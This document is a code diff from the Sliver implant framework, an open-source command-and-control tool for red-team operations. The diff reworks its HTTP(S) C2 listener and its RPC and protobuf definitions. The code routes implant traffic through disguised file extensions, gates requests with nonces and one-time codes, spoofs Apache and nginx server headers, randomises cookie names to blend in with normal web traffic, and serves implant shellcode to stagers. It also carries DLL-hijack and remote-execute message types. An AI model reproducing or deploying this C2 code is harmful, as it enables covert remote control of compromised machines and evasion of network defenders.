|
||||
if err != nil {
|
||||
return nil, err
|
||||
@@ -1258,7 +1258,7 @@ type SliverRPCServer interface {
|
||||
RegistryListSubKeys(context.Context, *sliverpb.RegistrySubKeyListReq) (*sliverpb.RegistrySubKeyList, error)
|
||||
RegistryListValues(context.Context, *sliverpb.RegistryListValuesReq) (*sliverpb.RegistryValuesList, error)
|
||||
RunSSHCommand(context.Context, *sliverpb.SSHCommandReq) (*sliverpb.SSHCommand, error)
|
||||
HijackDLL(context.Context, *sliverpb.DllHijackReq) (*sliverpb.DllHijack, error)
|
||||
HijackDLL(context.Context, *clientpb.DllHijackReq) (*clientpb.DllHijack, error)
|
||||
GetPrivs(context.Context, *sliverpb.GetPrivsReq) (*sliverpb.GetPrivs, error)
|
||||
// Extensions
|
||||
RegisterExtension(context.Context, *sliverpb.RegisterExtensionReq) (*sliverpb.RegisterExtension, error)
|
||||
@@ -1554,7 +1554,7 @@ func (UnimplementedSliverRPCServer) RegistryListValues(context.Context, *sliverp
|
||||
func (UnimplementedSliverRPCServer) RunSSHCommand(context.Context, *sliverpb.SSHCommandReq) (*sliverpb.SSHCommand, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method RunSSHCommand not implemented")
|
||||
}
|
||||
func (UnimplementedSliverRPCServer) HijackDLL(context.Context, *sliverpb.DllHijackReq) (*sliverpb.DllHijack, error) {
|
||||
func (UnimplementedSliverRPCServer) HijackDLL(context.Context, *clientpb.DllHijackReq) (*clientpb.DllHijack, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method HijackDLL not implemented")
|
||||
}
|
||||
func (UnimplementedSliverRPCServer) GetPrivs(context.Context, *sliverpb.GetPrivsReq) (*sliverpb.GetPrivs, error) {
|
||||
@@ -3221,7 +3221,7 @@ func _SliverRPC_RunSSHCommand_Handler(srv interface{}, ctx context.Context, dec
|
||||
}
|
||||
|
||||
func _SliverRPC_HijackDLL_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
|
||||
in := new(sliverpb.DllHijackReq)
|
||||
in := new(clientpb.DllHijackReq)
|
||||
if err := dec(in); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
@@ -3233,7 +3233,7 @@ func _SliverRPC_HijackDLL_Handler(srv interface{}, ctx context.Context, dec func
|
||||
FullMethod: "/rpcpb.SliverRPC/HijackDLL",
|
||||
}
|
||||
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
|
||||
return srv.(SliverRPCServer).HijackDLL(ctx, req.(*sliverpb.DllHijackReq))
|
||||
return srv.(SliverRPCServer).HijackDLL(ctx, req.(*clientpb.DllHijackReq))
|
||||
}
|
||||
return interceptor(ctx, in, info, handler)
|
||||
}
|
||||
|
||||
+1059
-1174
File diff suppressed because it is too large.
Load diff
@@ -47,6 +47,7 @@ message Register {
|
||||
uint32 ReconnectInterval = 13;
|
||||
string ProxyURL = 14;
|
||||
uint32 PollInterval = 15;
|
||||
string ConfigID = 16;
|
||||
}
|
||||
|
||||
// Ping - Not ICMP, just sends a rount trip message to an implant to
|
||||
@@ -331,6 +332,8 @@ message ExecuteReq {
|
||||
string Path = 1;
|
||||
repeated string Args = 2;
|
||||
bool Output = 3;
|
||||
string Stdout = 4;
|
||||
string Stderr = 5;
|
||||
|
||||
commonpb.Request Request = 9;
|
||||
}
|
||||
@@ -339,13 +342,17 @@ message ExecuteTokenReq {
|
||||
string Path = 1;
|
||||
repeated string Args = 2;
|
||||
bool Output = 3;
|
||||
string Stdout = 4;
|
||||
string Stderr = 5;
|
||||
|
||||
commonpb.Request Request = 9;
|
||||
}
|
||||
|
||||
message Execute {
|
||||
string Result = 1;
|
||||
uint32 Status = 2;
|
||||
uint32 Status = 1;
|
||||
string Stdout = 2;
|
||||
string Stderr = 3;
|
||||
uint32 Pid = 4;
|
||||
|
||||
commonpb.Response Response = 9;
|
||||
}
|
||||
@@ -802,20 +809,6 @@ message SSHCommand {
|
||||
commonpb.Response Response = 9;
|
||||
}
|
||||
|
||||
message DllHijackReq {
|
||||
string ReferenceDLLPath = 1;
|
||||
string TargetLocation = 2;
|
||||
bytes ReferenceDLL = 3;
|
||||
bytes TargetDLL = 4;
|
||||
string ProfileName = 5;
|
||||
|
||||
commonpb.Request Request = 9;
|
||||
}
|
||||
|
||||
message DllHijack {
|
||||
commonpb.Response Response = 9;
|
||||
}
|
||||
|
||||
message GetPrivsReq {
|
||||
commonpb.Request Request = 9;
|
||||
}
|
||||
|
||||
@@ -1,52 +0,0 @@
|
||||
package c2
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"testing"
|
||||
|
||||
"github.com/bishopfox/sliver/server/certs"
|
||||
)
|
||||
|
||||
func TestRsaKeyHandler(t *testing.T) {
|
||||
|
||||
certs.SetupCAs()
|
||||
|
||||
req, err := http.NewRequest("GET", "/test/foo.txt", nil)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
server, err := StartHTTPSListener(&HTTPServerConfig{
|
||||
Addr: "127.0.0.1:8888",
|
||||
})
|
||||
if err != nil {
|
||||
t.Errorf("Listener failed to start %s", err)
|
||||
return
|
||||
}
|
||||
rr := httptest.NewRecorder()
|
||||
handler := http.HandlerFunc(server.rsaKeyHandler)
|
||||
handler.ServeHTTP(rr, req)
|
||||
if status := rr.Code; status != http.StatusOK {
|
||||
t.Errorf("handler returned wrong status code: got %v want %v", status, http.StatusOK)
|
||||
}
|
||||
|
||||
}
|
||||
File renamed without changes.
@@ -19,6 +19,7 @@ package c2
|
||||
*/
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"crypto/rand"
|
||||
"crypto/sha256"
|
||||
@@ -27,19 +28,25 @@ import (
|
||||
"encoding/base64"
|
||||
"encoding/hex"
|
||||
"encoding/pem"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
"io/ioutil"
|
||||
insecureRand "math/rand"
|
||||
"mime"
|
||||
"net"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"path/filepath"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
"unicode"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/server/certs"
|
||||
"github.com/bishopfox/sliver/server/configs"
|
||||
"github.com/bishopfox/sliver/server/core"
|
||||
"github.com/bishopfox/sliver/server/cryptography"
|
||||
sliverHandlers "github.com/bishopfox/sliver/server/handlers"
|
||||
@@ -54,14 +61,26 @@ import (
|
||||
var (
|
||||
httpLog = log.NamedLogger("c2", "http")
|
||||
accessLog = log.NamedLogger("c2", "http-access")
|
||||
|
||||
ErrMissingNonce = errors.New("nonce not found in request")
|
||||
ErrMissingOTP = errors.New("otp code not found in request")
|
||||
ErrInvalidEncoder = errors.New("invalid request encoder")
|
||||
ErrDecodeFailed = errors.New("failed to decode request")
|
||||
ErrReplayAttack = errors.New("replay attack detected")
|
||||
)
|
||||
|
||||
const (
|
||||
defaultHTTPTimeout = time.Second * 60
|
||||
pollTimeout = defaultHTTPTimeout - 5
|
||||
sessionCookieName = "PHPSESSID"
|
||||
DefaultMaxBodyLength = 2 * 1024 * 1024 * 1024 // 2Gb
|
||||
DefaultHTTPTimeout = time.Minute * 5
|
||||
DefaultLongPollTimeout = float32(20)
|
||||
DefaultLongPollJitter = float32(20)
|
||||
minPollTimeout = time.Second * 5
|
||||
)
|
||||
|
||||
func init() {
|
||||
insecureRand.Seed(time.Now().UnixNano())
|
||||
}
|
||||
|
||||
// HTTPSession - Holds data related to a sliver c2 session
|
||||
type HTTPSession struct {
|
||||
ID string
|
||||
@@ -126,33 +145,50 @@ type HTTPServerConfig struct {
|
||||
Cert []byte
|
||||
Key []byte
|
||||
ACME bool
|
||||
|
||||
MaxRequestLength int
|
||||
|
||||
EnforceOTP bool
|
||||
LongPollTimeout float32
|
||||
LongPollJitter float32
|
||||
}
|
||||
|
||||
// SliverHTTPC2 - Holds refs to all the C2 objects
|
||||
type SliverHTTPC2 struct {
|
||||
HTTPServer *http.Server
|
||||
Conf *HTTPServerConfig
|
||||
ServerConf *HTTPServerConfig // Server config (user args)
|
||||
HTTPSessions *HTTPSessions
|
||||
SliverStage []byte // Sliver shellcode to serve during staging process
|
||||
Cleanup func()
|
||||
|
||||
server string
|
||||
poweredBy string
|
||||
c2Config *configs.HTTPC2Config // C2 config (from config file)
|
||||
serverVersion string
|
||||
}
|
||||
|
||||
func (s *SliverHTTPC2) getServerHeader() string {
|
||||
if s.server == "" {
|
||||
s.server = fmt.Sprintf("Apache/2.4.%d (Unix)", insecureRand.Intn(43))
|
||||
if s.serverVersion == "" {
|
||||
switch insecureRand.Intn(1) {
|
||||
case 0:
|
||||
s.serverVersion = fmt.Sprintf("Apache/2.4.%d (Unix)", insecureRand.Intn(48))
|
||||
default:
|
||||
s.serverVersion = fmt.Sprintf("nginx/1.%d.%d (Ubuntu)", insecureRand.Intn(21), insecureRand.Intn(8))
|
||||
}
|
||||
}
|
||||
return s.server
|
||||
return s.serverVersion
|
||||
}
|
||||
|
||||
func (s *SliverHTTPC2) getPoweredByHeader() string {
|
||||
if s.poweredBy == "" {
|
||||
s.poweredBy = fmt.Sprintf("PHP/7.%d.%d",
|
||||
insecureRand.Intn(3), insecureRand.Intn(17))
|
||||
func (s *SliverHTTPC2) getCookieName() string {
|
||||
cookies := configs.GetHTTPC2Config().ServerConfig.Cookies
|
||||
index := insecureRand.Intn(len(cookies))
|
||||
return cookies[index]
|
||||
}
|
||||
|
||||
func (s *SliverHTTPC2) LoadC2Config() *configs.HTTPC2Config {
|
||||
if s.c2Config != nil {
|
||||
return s.c2Config
|
||||
}
|
||||
return s.poweredBy
|
||||
s.c2Config = configs.GetHTTPC2Config()
|
||||
return s.c2Config
|
||||
}
|
||||
|
||||
// StartHTTPSListener - Start an HTTP(S) listener, this can be used to start both
|
||||
@@ -162,7 +198,7 @@ func StartHTTPSListener(conf *HTTPServerConfig) (*SliverHTTPC2, error) {
|
||||
StartPivotListener()
|
||||
httpLog.Infof("Starting https listener on '%s'", conf.Addr)
|
||||
server := &SliverHTTPC2{
|
||||
Conf: conf,
|
||||
ServerConf: conf,
|
||||
HTTPSessions: &HTTPSessions{
|
||||
active: &map[string]*HTTPSession{},
|
||||
mutex: &sync.RWMutex{},
|
||||
@@ -171,9 +207,9 @@ func StartHTTPSListener(conf *HTTPServerConfig) (*SliverHTTPC2, error) {
|
||||
server.HTTPServer = &http.Server{
|
||||
Addr: conf.Addr,
|
||||
Handler: server.router(),
|
||||
WriteTimeout: defaultHTTPTimeout,
|
||||
ReadTimeout: defaultHTTPTimeout,
|
||||
IdleTimeout: defaultHTTPTimeout,
|
||||
WriteTimeout: DefaultHTTPTimeout,
|
||||
ReadTimeout: DefaultHTTPTimeout,
|
||||
IdleTimeout: DefaultHTTPTimeout,
|
||||
TLSNextProto: make(map[string]func(*http.Server, *tls.Conn, http.Handler), 0),
|
||||
}
|
||||
if conf.ACME {
|
||||
@@ -195,7 +231,7 @@ func StartHTTPSListener(conf *HTTPServerConfig) (*SliverHTTPC2, error) {
|
||||
defer cancelHTTPS()
|
||||
server.HTTPServer.Shutdown(ctx)
|
||||
if err := acmeHTTPServer.Shutdown(ctx); err != nil {
|
||||
httpLog.Warnf("Failed to shutdown https server")
|
||||
httpLog.Warn("Failed to shutdown https server")
|
||||
}
|
||||
}
|
||||
} else {
|
||||
@@ -205,13 +241,11 @@ func StartHTTPSListener(conf *HTTPServerConfig) (*SliverHTTPC2, error) {
|
||||
defer cancel()
|
||||
server.HTTPServer.Shutdown(ctx)
|
||||
if err := server.HTTPServer.Shutdown(ctx); err != nil {
|
||||
httpLog.Warnf("Failed to shutdown https server")
|
||||
httpLog.Warn("Failed to shutdown https server")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
c, k, err := certs.C2ServerGetRSACertificate(conf.Domain)
|
||||
httpLog.Infof("C2-Server: %v %v %v", c, k, err)
|
||||
_, _, err := certs.C2ServerGetRSACertificate(conf.Domain)
|
||||
if err == certs.ErrCertDoesNotExist {
|
||||
httpLog.Infof("Generating C2 server certificate ...")
|
||||
_, _, err := certs.C2ServerGenerateRSACertificate(conf.Domain)
|
||||
@@ -220,62 +254,86 @@ func StartHTTPSListener(conf *HTTPServerConfig) (*SliverHTTPC2, error) {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
|
||||
return server, nil
|
||||
}
|
||||
|
||||
func getHTTPTLSConfig(conf *HTTPServerConfig) *tls.Config {
|
||||
if conf.Cert == nil || conf.Key == nil {
|
||||
var err error
|
||||
conf.Cert, conf.Key, err = certs.HTTPSGenerateRSACertificate(conf.Domain)
|
||||
if conf.Domain != "" {
|
||||
conf.Cert, conf.Key, err = certs.HTTPSGenerateRSACertificate(conf.Domain)
|
||||
} else {
|
||||
conf.Cert, conf.Key, err = certs.HTTPSGenerateRSACertificate("localhost")
|
||||
}
|
||||
if err != nil {
|
||||
httpLog.Warnf("Failed to generate self-signed tls cert/key pair %v", err)
|
||||
httpLog.Errorf("Failed to generate self-signed tls cert/key pair %s", err)
|
||||
return nil
|
||||
}
|
||||
}
|
||||
cert, err := tls.X509KeyPair(conf.Cert, conf.Key)
|
||||
if err != nil {
|
||||
httpLog.Warnf("Failed to parse tls cert/key pair %v", err)
|
||||
httpLog.Errorf("Failed to parse tls cert/key pair %s", err)
|
||||
return nil
|
||||
}
|
||||
return &tls.Config{
|
||||
Certificates: []tls.Certificate{cert},
|
||||
MinVersion: tls.VersionTLS12,
|
||||
CurvePreferences: []tls.CurveID{tls.CurveP521, tls.CurveP384, tls.CurveP256},
|
||||
PreferServerCipherSuites: true,
|
||||
CipherSuites: []uint16{
|
||||
tls.TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384,
|
||||
tls.TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA,
|
||||
tls.TLS_RSA_WITH_AES_256_GCM_SHA384,
|
||||
tls.TLS_RSA_WITH_AES_256_CBC_SHA,
|
||||
},
|
||||
Certificates: []tls.Certificate{cert},
|
||||
MinVersion: tls.VersionTLS12,
|
||||
}
|
||||
}
|
||||
|
||||
func (s *SliverHTTPC2) router() *mux.Router {
|
||||
router := mux.NewRouter()
|
||||
c2Config := s.LoadC2Config()
|
||||
if s.ServerConf.MaxRequestLength < 1024 {
|
||||
s.ServerConf.MaxRequestLength = DefaultMaxBodyLength
|
||||
}
|
||||
if s.ServerConf.LongPollTimeout == 0 {
|
||||
s.ServerConf.LongPollTimeout = DefaultLongPollTimeout
|
||||
s.ServerConf.LongPollJitter = DefaultLongPollJitter
|
||||
}
|
||||
|
||||
// Procedural C2
|
||||
// ===============
|
||||
// .txt = rsakey
|
||||
// .jsp = start
|
||||
// .php = session
|
||||
// .js = poll
|
||||
// .png = stop
|
||||
// .woff = sliver shellcode
|
||||
// Key Exchange Handler
|
||||
router.HandleFunc(
|
||||
fmt.Sprintf("/{rpath:.*\\.%s$}", c2Config.ImplantConfig.KeyExchangeFileExt),
|
||||
s.rsaKeyHandler,
|
||||
).MatcherFunc(s.filterOTP).MatcherFunc(s.filterNonce).Methods(http.MethodGet)
|
||||
|
||||
// Start Session Handler
|
||||
router.HandleFunc(
|
||||
fmt.Sprintf("/{rpath:.*\\.%s$}", c2Config.ImplantConfig.StartSessionFileExt),
|
||||
s.startSessionHandler,
|
||||
).MatcherFunc(s.filterOTP).MatcherFunc(s.filterNonce).Methods(http.MethodGet, http.MethodPost)
|
||||
|
||||
// Session Handler
|
||||
router.HandleFunc(
|
||||
fmt.Sprintf("/{rpath:.*\\.%s$}", c2Config.ImplantConfig.SessionFileExt),
|
||||
s.sessionHandler,
|
||||
).MatcherFunc(s.filterNonce).Methods(http.MethodGet, http.MethodPost)
|
||||
|
||||
// Poll Handler
|
||||
router.HandleFunc(
|
||||
fmt.Sprintf("/{rpath:.*\\.%s$}", c2Config.ImplantConfig.PollFileExt),
|
||||
s.pollHandler,
|
||||
).MatcherFunc(s.filterNonce).Methods(http.MethodGet)
|
||||
|
||||
// Close Handler
|
||||
router.HandleFunc(
|
||||
fmt.Sprintf("/{rpath:.*\\.%s$}", c2Config.ImplantConfig.CloseFileExt),
|
||||
s.closeHandler,
|
||||
).MatcherFunc(s.filterNonce).Methods(http.MethodGet)
|
||||
|
||||
router.HandleFunc("/{rpath:.*\\.txt$}", s.rsaKeyHandler).MatcherFunc(filterNonce).Methods(http.MethodGet)
|
||||
router.HandleFunc("/{rpath:.*\\.jsp$}", s.startSessionHandler).MatcherFunc(filterNonce).Methods(http.MethodGet, http.MethodPost)
|
||||
router.HandleFunc("/{rpath:.*\\.php$}", s.sessionHandler).MatcherFunc(filterNonce).Methods(http.MethodGet, http.MethodPost)
|
||||
router.HandleFunc("/{rpath:.*\\.js$}", s.pollHandler).MatcherFunc(filterNonce).Methods(http.MethodGet)
|
||||
router.HandleFunc("/{rpath:.*\\.png$}", s.stopHandler).MatcherFunc(filterNonce).Methods(http.MethodGet)
|
||||
// Can't force the user agent on the stager payload
|
||||
// Request from msf stager payload will look like:
|
||||
// GET /fonts/Inter-Medium.woff/B64_ENCODED_PAYLOAD_UUID
|
||||
router.HandleFunc("/{rpath:.*\\.woff[/]{0,1}.*$}", s.stagerHander).Methods(http.MethodGet)
|
||||
router.HandleFunc(
|
||||
fmt.Sprintf("/{rpath:.*\\.%s[/]{0,1}.*$}", c2Config.ImplantConfig.StagerFileExt),
|
||||
s.stagerHander,
|
||||
).MatcherFunc(s.filterOTP).Methods(http.MethodGet)
|
||||
|
||||
// Request does not match the C2 profile so we pass it to the static content or 404 handler
|
||||
if s.Conf.Website != "" {
|
||||
httpLog.Infof("Serving static content from website %v", s.Conf.Website)
|
||||
if s.ServerConf.Website != "" {
|
||||
httpLog.Infof("Serving static content from website %v", s.ServerConf.Website)
|
||||
router.HandleFunc("/{rpath:.*}", s.websiteContentHandler).Methods(http.MethodGet)
|
||||
} else {
|
||||
// 404 Handler - Just 404 on every path that doesn't match another handler
|
||||
@@ -290,19 +348,86 @@ func (s *SliverHTTPC2) router() *mux.Router {
|
||||
}
|
||||
|
||||
// This filters requests that do not have a valid nonce
|
||||
func filterNonce(req *http.Request, rm *mux.RouteMatch) bool {
|
||||
qNonce := req.URL.Query().Get("_")
|
||||
func (s *SliverHTTPC2) filterNonce(req *http.Request, rm *mux.RouteMatch) bool {
|
||||
nonce, err := getNonceFromURL(req.URL)
|
||||
if err != nil {
|
||||
httpLog.Warnf("Invalid nonce '%d' ignore request", nonce)
|
||||
return false // NaN
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
func (s *SliverHTTPC2) filterOTP(req *http.Request, rm *mux.RouteMatch) bool {
|
||||
if s.ServerConf.EnforceOTP {
|
||||
httpLog.Debug("Checking for valid OTP code ...")
|
||||
otpCode, err := getOTPFromURL(req.URL)
|
||||
if err != nil {
|
||||
httpLog.Warnf("Failed to validate OTP %s", err)
|
||||
return false
|
||||
}
|
||||
valid, err := cryptography.ValidateTOTP(otpCode)
|
||||
if err != nil {
|
||||
httpLog.Warnf("Failed to validate OTP %s", err)
|
||||
return false
|
||||
}
|
||||
if valid {
|
||||
return true
|
||||
}
|
||||
return false
|
||||
} else {
|
||||
httpLog.Debug("OTP enforcement is disabled")
|
||||
return true // OTP enforcement is disabled
|
||||
}
|
||||
}
|
||||
|
||||
func getNonceFromURL(reqURL *url.URL) (int, error) {
|
||||
qNonce := ""
|
||||
for arg, values := range reqURL.Query() {
|
||||
if len(arg) == 1 {
|
||||
qNonce = digitsOnly(values[0])
|
||||
break
|
||||
}
|
||||
}
|
||||
if qNonce == "" {
|
||||
httpLog.Warn("Nonce not found in request")
|
||||
return 0, ErrMissingNonce
|
||||
}
|
||||
nonce, err := strconv.Atoi(qNonce)
|
||||
if err != nil {
|
||||
httpLog.Warnf("Invalid nonce '%s' ignore request", qNonce)
|
||||
return false // NaN
|
||||
httpLog.Warnf("Invalid nonce, failed to parse '%s'", qNonce)
|
||||
return 0, err
|
||||
}
|
||||
_, _, err = encoders.EncoderFromNonce(nonce)
|
||||
if err != nil {
|
||||
httpLog.Warnf("Invalid nonce (%d) ignore request", nonce)
|
||||
return false // Not a valid encoder
|
||||
httpLog.Warnf("Invalid nonce (%s)", err)
|
||||
return 0, err
|
||||
}
|
||||
return true
|
||||
return nonce, nil
|
||||
}
|
||||
|
||||
func getOTPFromURL(reqURL *url.URL) (string, error) {
|
||||
otpCode := ""
|
||||
for arg, values := range reqURL.Query() {
|
||||
if len(arg) == 2 {
|
||||
otpCode = digitsOnly(values[0])
|
||||
break
|
||||
}
|
||||
}
|
||||
if otpCode == "" {
|
||||
httpLog.Warn("OTP not found in request")
|
||||
return "", ErrMissingNonce
|
||||
}
|
||||
return otpCode, nil
|
||||
}
|
||||
|
||||
func digitsOnly(value string) string {
|
||||
var buf bytes.Buffer
|
||||
for _, char := range value {
|
||||
if unicode.IsDigit(char) {
|
||||
buf.WriteRune(char)
|
||||
}
|
||||
}
|
||||
return buf.String()
|
||||
}
|
||||
|
||||
func loggingMiddleware(next http.Handler) http.Handler {
|
||||
@@ -316,34 +441,36 @@ func loggingMiddleware(next http.Handler) http.Handler {
|
||||
func (s *SliverHTTPC2) DefaultRespHeaders(next http.Handler) http.Handler {
|
||||
return http.HandlerFunc(func(resp http.ResponseWriter, req *http.Request) {
|
||||
resp.Header().Set("Server", s.getServerHeader())
|
||||
resp.Header().Set("X-Powered-By", s.getPoweredByHeader())
|
||||
resp.Header().Set("Cache-Control", "no-store, no-cache, must-revalidate")
|
||||
|
||||
switch uri := req.URL.Path; {
|
||||
case strings.HasSuffix(uri, ".txt"):
|
||||
resp.Header().Set("Content-type", "text/plain; charset=utf-8")
|
||||
case strings.HasSuffix(uri, ".css"):
|
||||
resp.Header().Set("Content-type", "text/css; charset=utf-8")
|
||||
case strings.HasSuffix(uri, ".php"):
|
||||
resp.Header().Set("Content-type", "text/html; charset=utf-8")
|
||||
case strings.HasSuffix(uri, ".js"):
|
||||
resp.Header().Set("Content-type", "text/javascript; charset=utf-8")
|
||||
case strings.HasSuffix(uri, ".png"):
|
||||
resp.Header().Set("Content-type", "image/png")
|
||||
default:
|
||||
resp.Header().Set("Content-type", "application/octet-stream")
|
||||
if resp.Header().Get("Content-type") == "" {
|
||||
contentType := mime.TypeByExtension(req.URL.Path)
|
||||
if contentType != "" {
|
||||
resp.Header().Set("Content-type", contentType)
|
||||
} else {
|
||||
// We add a few more common mime types that aren't detected by
|
||||
// the stdlib mime library
|
||||
switch uri := req.URL.Path; {
|
||||
case strings.HasSuffix(uri, ".jsp"):
|
||||
fallthrough
|
||||
case strings.HasSuffix(uri, ".phtml"):
|
||||
fallthrough
|
||||
case strings.HasSuffix(uri, ".php"):
|
||||
resp.Header().Set("Content-type", mime.TypeByExtension(".html"))
|
||||
default:
|
||||
resp.Header().Set("Content-type", "application/octet-stream")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
next.ServeHTTP(resp, req)
|
||||
})
|
||||
}
|
||||
|
||||
func (s *SliverHTTPC2) websiteContentHandler(resp http.ResponseWriter, req *http.Request) {
|
||||
httpLog.Infof("Request for site %v -> %s", s.Conf.Website, req.RequestURI)
|
||||
contentType, content, err := website.GetContent(s.Conf.Website, req.RequestURI)
|
||||
httpLog.Infof("Request for site %v -> %s", s.ServerConf.Website, req.RequestURI)
|
||||
contentType, content, err := website.GetContent(s.ServerConf.Website, req.RequestURI)
|
||||
if err != nil {
|
||||
httpLog.Infof("No website content for %s", req.RequestURI)
|
||||
resp.WriteHeader(404) // No content for this path
|
||||
resp.WriteHeader(http.StatusNotFound) // No content for this path
|
||||
return
|
||||
}
|
||||
resp.Header().Set("Content-type", contentType)
|
||||
@@ -351,17 +478,19 @@ func (s *SliverHTTPC2) websiteContentHandler(resp http.ResponseWriter, req *http
|
||||
}
|
||||
|
||||
func default404Handler(resp http.ResponseWriter, req *http.Request) {
|
||||
resp.WriteHeader(404)
|
||||
httpLog.Debugf("[404] No match for %s", req.RequestURI)
|
||||
resp.WriteHeader(http.StatusNotFound)
|
||||
resp.Header().Set("Content-type", mime.TypeByExtension(".html"))
|
||||
}
|
||||
|
||||
// [ HTTP Handlers ] ---------------------------------------------------------------
|
||||
|
||||
func (s *SliverHTTPC2) rsaKeyHandler(resp http.ResponseWriter, req *http.Request) {
|
||||
qNonce := req.URL.Query().Get("_")
|
||||
nonce, err := strconv.Atoi(qNonce)
|
||||
certPEM, _, err := certs.GetCertificate(certs.C2ServerCA, certs.RSAKey, s.Conf.Domain)
|
||||
httpLog.Debug("Public key request")
|
||||
nonce, _ := getNonceFromURL(req.URL)
|
||||
certPEM, _, err := certs.GetCertificate(certs.C2ServerCA, certs.RSAKey, s.ServerConf.Domain)
|
||||
if err != nil {
|
||||
httpLog.Infof("Failed to get server certificate for cn = '%s': %s", s.Conf.Domain, err)
|
||||
httpLog.Infof("Failed to get server certificate for cn = '%s': %s", s.ServerConf.Domain, err)
|
||||
}
|
||||
_, encoder, err := encoders.EncoderFromNonce(nonce)
|
||||
if err != nil {
|
||||
@@ -371,12 +500,13 @@ func (s *SliverHTTPC2) rsaKeyHandler(resp http.ResponseWriter, req *http.Request
|
||||
}
|
||||
|
||||
func (s *SliverHTTPC2) startSessionHandler(resp http.ResponseWriter, req *http.Request) {
|
||||
httpLog.Debug("Start http session request")
|
||||
|
||||
// Note: these are the c2 certificates NOT the certificates/keys used for SSL/TLS
|
||||
publicKeyPEM, privateKeyPEM, err := certs.GetCertificate(certs.C2ServerCA, certs.RSAKey, s.Conf.Domain)
|
||||
publicKeyPEM, privateKeyPEM, err := certs.GetCertificate(certs.C2ServerCA, certs.RSAKey, s.ServerConf.Domain)
|
||||
if err != nil {
|
||||
httpLog.Info("Failed to fetch rsa private key")
|
||||
resp.WriteHeader(404)
|
||||
httpLog.Warn("Failed to fetch rsa private key")
|
||||
resp.WriteHeader(http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
|
||||
@@ -386,25 +516,29 @@ func (s *SliverHTTPC2) startSessionHandler(resp http.ResponseWriter, req *http.R
|
||||
privateKeyBlock, _ := pem.Decode([]byte(privateKeyPEM))
|
||||
privateKey, _ := x509.ParsePKCS1PrivateKey(privateKeyBlock.Bytes)
|
||||
|
||||
nonce, err := strconv.Atoi(req.URL.Query().Get("_"))
|
||||
nonce, _ := getNonceFromURL(req.URL)
|
||||
_, encoder, err := encoders.EncoderFromNonce(nonce)
|
||||
if err != nil {
|
||||
httpLog.Infof("Request specified an invalid encoder (%d)", nonce)
|
||||
resp.WriteHeader(404)
|
||||
httpLog.Warnf("Request specified an invalid encoder (%d)", nonce)
|
||||
resp.WriteHeader(http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
body, _ := ioutil.ReadAll(req.Body)
|
||||
body, err := ioutil.ReadAll(req.Body)
|
||||
if err != nil {
|
||||
httpLog.Errorf("Failed to read body %s", err)
|
||||
resp.WriteHeader(http.StatusNotFound)
|
||||
}
|
||||
data, err := encoder.Decode(body)
|
||||
if err != nil {
|
||||
httpLog.Errorf("Failed to decode body %s", err)
|
||||
resp.WriteHeader(404)
|
||||
resp.WriteHeader(http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
|
||||
sessionInitData, err := cryptography.RSADecrypt(data, privateKey)
|
||||
if err != nil {
|
||||
httpLog.Info("RSA decryption failed")
|
||||
resp.WriteHeader(404)
|
||||
httpLog.Error("RSA decryption failed")
|
||||
resp.WriteHeader(http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
sessionInit := &sliverpb.HTTPSessionInit{}
|
||||
@@ -416,7 +550,7 @@ func (s *SliverHTTPC2) startSessionHandler(resp http.ResponseWriter, req *http.R
|
||||
ID: core.NextSessionID(),
|
||||
Transport: "http(s)",
|
||||
RemoteAddress: getRemoteAddr(req),
|
||||
Send: make(chan *sliverpb.Envelope, 16),
|
||||
Send: make(chan *sliverpb.Envelope),
|
||||
RespMutex: &sync.RWMutex{},
|
||||
Resp: map[uint64]chan *sliverpb.Envelope{},
|
||||
})
|
||||
@@ -427,52 +561,31 @@ func (s *SliverHTTPC2) startSessionHandler(resp http.ResponseWriter, req *http.R
|
||||
ciphertext, err := cryptography.GCMEncrypt(httpSession.Key, []byte(httpSession.ID))
|
||||
if err != nil {
|
||||
httpLog.Info("Failed to encrypt session identifier")
|
||||
resp.WriteHeader(404)
|
||||
resp.WriteHeader(http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
http.SetCookie(resp, &http.Cookie{
|
||||
Domain: s.Conf.Domain,
|
||||
Name: sessionCookieName,
|
||||
Domain: s.ServerConf.Domain,
|
||||
Name: s.getCookieName(),
|
||||
Value: httpSession.ID,
|
||||
Secure: true,
|
||||
Secure: false,
|
||||
HttpOnly: true,
|
||||
})
|
||||
resp.Write(encoder.Encode(ciphertext))
|
||||
}
|
||||
|
||||
func (s *SliverHTTPC2) sessionHandler(resp http.ResponseWriter, req *http.Request) {
|
||||
|
||||
